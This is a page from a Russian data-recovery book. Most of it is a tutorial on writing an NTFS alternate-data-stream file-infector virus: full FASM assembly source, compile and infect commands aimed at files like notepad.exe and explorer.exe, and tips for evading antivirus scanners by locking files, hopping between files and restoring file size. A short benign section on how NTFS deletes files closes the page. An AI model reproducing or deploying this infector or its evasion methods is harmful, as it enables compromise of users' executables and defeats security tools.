Текст книги "Восстановление данных. Практическое руководство"
Автор книги: Крис Касперски
Жанры:
Компьютерное "железо"
,сообщить о нарушении
Текущая страница: 12 (всего у книги 26 страниц)
Сейчас мы немного отвлечемся и поговорим о... компьютерных вирусах, обитающих внутри NTFS и активно использующих ее расширения в своих личных целях. В любом случае конструирование вирусов – отличный стимул к изучению ассемблера! И хотя вирус в принципе можно написать и на Си, это будет как-то не по-хакерски и вообще неправильно! Настоящие хакеры пишут только на FASM. Итак, запускаем Multi-Edit или TASMED и погружаемся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием...
Внедрение вируса в исполняемый файл, в общем случае, достаточно сложный и мучительней процесс. Как минимум для этого требуется изучить формат РЕ-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вируса и за сезон, а хочется создать его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows NT/2000/XP) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных (рис. 6.4).
Рис. 6.4. Файловая система NTFS поддерживает несколько потоков в рамках одного файла
Имя потока отделяется от имени файла знаком двоеточия (:), например: my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx. Почему же файл имеет нулевую длину? А где же введенный нами только что текст? Нажмем клавишу more < xxx:yyy.
Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным сканерам. Метод, применяемый для обмана антивирусных программ, мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.
Алгоритм работы вируса
Закройте руководство по формату исполняемых файлов (Portable Executable, РЕ). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, делающий свое черное дело и передающий управление на основное тело. Работать такой вирус будет только на Windows NT/2000/XP и только под NTFS. На работу с файловой системой FAT он изначально не рассчитан. Оригинальное содержимое заражаемого файла на разделах FAT будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков. В качестве примера архиватора, поддерживающего файловые потоки, можно привести RAR. В диалоговом окне Имя и параметры архива есть вкладка Дополнительно, которая содержит группу опций Параметры NTFS (рис. 6.5). В составе этой группы опций есть флажок Сохранять файловые потоки. Установите эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.
Рис. 6.5. Архиватор RAR способен сохранять файловые потоки в процессе архивации
Существует и другая проблема. Windows блокирует доступ ко всем открытым файлам, и попытка внедрения в них обречена на неудачу. Тем не менее, выход из этого положения существует. Заблокированный файл нельзя открыть, но можно переименовать. Возьмем, например, explorer.exe, и переименуем его, например, в foo. Затем создадим новый файл с точно таким же именем, в основном потоке которого поместим вирусное тело, а прежний explorer.exe скопируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe, и файл foo будет можно удалить.
Примечание
Вообще говоря, переименованный файл можно и не удалять. Правда, в этом случае он может привлечь внимание бдительного пользователя или антивирусного ревизора.
Теперь настал момент поговорить об антивирусных ревизорах. Внедрить вирусное тело в файл – это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусных программ. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки – от CreateFile со сброшенным флагом dwShareMode до LockFile/LockFileEx. Подробнее об этом можно прочитать в Platform SDK.
Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не сотрет. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания – тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича (http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.
Программный код вируса
Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.
В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.
Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса
section '.code' code readable executable start:
; Удаляем временный файл
push foo
call [DeleteFile]
; Определяем наше имя
push 1000
push buf
push 0
call [GetModuleFileName]
; Считываем командную строку
; Ключ filename – заразить
call [GetCommandLine]
mov ebp, eax
xor ebx, ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; это '–*'?
jz infect
inc eax
cmp [eax], ebx ; Конец командной строки?
jnz rool
; Выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; Добавляем к своему имени имя потока NTFS
mov esi, code_name
mov edi, buf
mov ecx, 100; сode_name_end – code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; Запускаем поток NTFS на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; Выходим из вируса
infect:
; Устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax
; Здесь можно вставить проверку dst на заражение
; Переименовываем dst в foo
push foo
push ebp
call [RenameFile]
; Копируем в foo основной поток dst
push eax
push ebp
push buf
call [CopyFile]
; Добавляем к своему имени имя потока NTFS
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2
; Копируем foo в dst:bar
push eax
push buf
push foo
call [CopyFile]
; Здесь не помешает добавить коррекцию длины заражаемого файла
; Удаляем foo
push foo
call [DeleteFile]
; Выводим диагностическое сообщение,
; подтверждающее успешность заражения файла
push 0
push aInfected
push ebp
push 0
call [MessageBox]
; Выход из вируса
go2exit:
push 0
call [ExitProcess]
section '.data' data readable writeable
foo db "foo",0 ; Имя временного файла
code_name db ":bar",0 ; Имя потока, в котором будет...
code_name_end: ; ...сохранено основное тело
; Различные текстовые строки, выводимые вирусом
aInfected db "infected",0
aHello db "Hello, you are hacked"
; Различные буфера для служебных целей
buf rb 1000
xxx rb 1000
Компиляция и тестирование вируса
Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.
Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду: fasm.exe xcode.asm. Если все сделано правильно, на диске должен появиться файл xcode.exe. Запустим его на выполнение с опцией командной строки –*, за которой следует имя файла, который требуется заразить, например, notepad.exe (xcode.exe –* notepad.exe). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.
Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении
Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.
Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение
Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.
Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe –* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение самостоятельно.
Внимание!
До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается самостоятельно и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и осуществлял вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.
Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile, передать ей имя файла вместе с потоком (например, notepad.exe:bar) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит, и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, следует отказаться от заражения или выбрать другой поток. Например: bar_01, bar_02, bar_03.
Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла, и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии xcode.exe). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.
Предложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в листинге 6.6, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.
Листинг 6.6. Командный файл, восстанавливающий зараженные файлы в исходное состояние
more < %1:bar > reborn.exe
ECHO I'm reborn now!
Как определить, что за потоки содержатся внутри файла? Штатными средствами операционной системы сделать это невозможно. Функции для работы с потоками не документированы и доступны только через Native API. Вот эти функции: NtCreateFile, NtQueryEaFile и NtSetEaFile. Их описание можно найти в следующей книге: "The Undocumented Functions Microsoft Windows NT/2000" by Tomasz Nowak. Электронную копию этой книги можно бесплатно скачать по следующему адресу: http://undocumented.ntinternals.net/title.html. Кроме того, рекомендуется прочесть статью "Win2k.Stream" из 5-го номера вирусного журнала #29А, да и другие журналы пролистать не мешает.
Создание нового потока осуществляется вызовом функции NtCreateFile, среди прочих аргументов принимающей указатель на структуру FILE_FULL_EA_INFORMATION, передаваемый через EaBuffer. Можно также воспользоваться функцией NtSetEaFile, передав ей дескриптор, возращенный функцией NtCreateFile, открывающей файл обычным образом. Перечислением (и чтением) всех имеющихся потоков занимается функция NtQueryEaFile. Прототипы всех функций и определения структур содержатся в файле NTDDK.H, в котором присутствует достаточное количество комментариев, позволяющее заинтересованному читателю самостоятельно разобраться в данном вопросе.
□ http://www.wasm.ru – море полезных материалов по вирусам и ассемблеру, форум на котором тусуется множество матерых профессионалов, да и просто сайт, приятный во всех отношениях.
□ http://vx.netlux.org/ – гигантская коллекция вирусов и учебников по их написанию.
□ http://flatassembler.net/fasmw160.zip – бесплатная Windows-версия ассемблера FASM – самого правильного ассемблера из всех.
Глава 7
Восстановление ошибочно удаленных файлов на разделах NTFS
Надежность NTFS – это одно, а ошибочно удаленные файлы – совсем другое. Файловая система, даже такая мощная, как NTFS, бессильна защитить пользователя от себя самого. Но вот предусмотреть "откат" последних выполненных действий она вполне может, тем более что транзакции и ведение их журнала в NTFS уже реализованы. До совершенства остается всего лишь один шаг. Однако, к сожалению, Microsoft не торопится сделать этот шаг, возможно, оставляя эти усовершенствования как задел для будущих версий. "Защита" от непреднамеренного удаления реализована исключительно на интерфейсном уровне, а это не только неудобно, но и ненадежно.
Прекрасно, если удаленный файл сохранился в "Корзине", но что делать, если там его не окажется? Эта глава рассказывает о методах ручного восстановления файлов, в том числе и файлов с отсутствующей файловой записью, которые приходится собирать буквально по кластерам.
Пакет FILE_DISPOSITION_INFORMATIONIPR_MJ_SET_INFORMATION/FILE_DISPOSITION_INFORMATION – это пакеты, посылаемые драйверу при удалении файла (имейте это в виду при дезассемблировании). Чтобы уметь восстанавливать удаленные файлы, необходимо отчетливо представлять, что происходит в процессе удаления файла с раздела NTFS. Последовательность выполняемых при этом действий приведена ниже.
1. Корректируется файл /$MFT:$BITMAP, каждый бит которого определяет "занятость" соответствующей файловой записи (FILE Record) в MFT (значение 0 говорит о том, что запись не используется).
2. Корректируется файл /$BITMAP, каждый бит которого определяет "занятость" соответствующего кластера (значение 0 говорит о том, что кластер не используется).
3. Файловые записи, соответствующие файлу, помечаются как удаленные (поле FLAG, находящееся по смещению 16h от начала файловой записи, сбрасывается в ноль).
4. Ссылка на файл удаляется из двоичного дерева индексов. Технические подробности этого процесса здесь не рассматриваются, поскольку восстановить таблицу индексов вручную сможет только гуру. Кроме того, в таком восстановлении нет необходимости. Ведь в NTFS индексы играют вспомогательную роль, и гораздо проще переиндексировать каталог заново, чем восстанавливать сбалансированное двоичное дерево (B*tree).
5. Обновляется атрибут $STANDARD_INFORMATION каталога, в котором хранится удаляемый файл (время последнего доступа и т.д.).
6. В файле /$LogFile обновляется поле Sequence Number (изменения, происходящие в журнале транзакций, здесь не рассматриваются).
7. Поля Update Sequence Number следующих файловых записей увеличиваются на единицу: сам удаляемый файл, текущий каталог, /$MFT, /$MFT:$BITMAP, /$BITMAP, /$BOOT, /$TRACKING.LOG.
Каталоги удаляются практически так же, как и файлы. В этом нет ничего удивительного, так как с точки зрения файловой системы каталог тоже представляет файл особого вида, содержащий внутри себя двоичное дерево индексов (B*tree).
Ни в том, ни в другом случае физического удаления файла не происходит, и он может быть легко восстановлен. Легкое и быстрое восстановление возможно до тех пор, пока не будет затерта файловая запись (FILE Record), принадлежащая этому файлу и хранящая его резидентное тело или список отрезков (run-list) нерезидентного содержимого. Утрата файловой записи крайне неприятна, поскольку в этом случае файл придется собирать по кластерам. При этом стоит заметить, что чем сильнее был фрагментирован удаленный файл, тем сложнее будет эта задача. К счастью, в отличие от FAT, NTFS не затирает первого символа имени файла, что значительно упрощает восстановление.
Автоматическое восстановление удаленных файловУтилиты, восстанавливающие удаленные файлы, не входят в стандартный комплект поставки Windows NT/2000/XP. Разумеется, это явный недостаток – вспомните, ведь в MS-DOS такая утилита была. Следовательно, эти средства приходится приобретать отдельно. Одной из автоматических утилит для восстановления удаленных файлов является GetDataBack (рис. 7.1). Опасаясь разрушить файловую систему окончательно, большинство таких утилит избегает прямой записи на диск. Вместо этого пользователю предлагается считать удаленный файл и переписать его в другое место, но только не на сам восстанавливаемый раздел. Не слишком-то удачное решение. А если на остальных дисках свободного места нет, или если восстанавливаемый диск имеет всего лишь один логический раздел? Предположим, вам необходимо восстановить базу данных в несколько гигабайт. Можно, конечно, подключить второй винчестер, скопировать ее туда, а затем обратно. Однако подумайте, сколько же это займет времени, не говоря уже о том, что сервер лучше не выключать, а горячую замену поддерживают далеко не все жесткие диски! Другой недостаток подобных утилит – слишком медленная работа. Вместо того чтобы найти один-единственный файл, имя которого нам известно, они проводят полномасштабные маневры, сканируя весь раздел целиком. При работе с большими дисками на это уходит от одного до нескольких часов, причем это время фактически тратится впустую.
Рис. 7.1. Утилита GetDataBack за восстановлением удаленных файлов
С другой стороны, утилиты, вносящие изменения непосредственно в структуру NTFS, рискуют серьезно повредить дисковый том, после чего ему не помогут даже профессионалы. Настоящие хакеры не доверяют никакому коду, кроме созданного лично ими, особенно, если исходные тексты недоступны, а документация туманна и двусмысленна. Различные версии NTFS отличаются друг от друга. Последние радикальные изменения произошли в Windows XP (NTFS версии 3.1) – массив последовательностей обновления (Update Sequence Number-n-Array) переместился на шесть байтов вперед, а его место было отдано под выравнивание и поле номера текущей файловой записи (Number of this MFT Record). Восстанавливающая утилита должна не только поддерживать вашу версию файловой системы, но и безошибочно отличать ее ото всех остальных. При этом в дополнение к уже указанным сложностям встречаются и совершенно неочевидные "подводные камни". Например, при обновлении Windows 2000 до Windows XP обновления файловой системы не происходит вплоть до переформатирования диска. Эта небольшая особенность не слишком афишируется, и знают о ней лишь немногие. Большинство пользователей попадается в эту ловушку, и последствия оказываются катастрофическими.
Наконец, возможна и такая ситуация, когда утилит восстановления просто не окажется под рукой в тот момент, когда вам срочно потребуется восстановить какой-нибудь ценный файл. Законов Мэрфи еще никто не отменял! В этом случае вам придется рассчитывать только на свои силы.
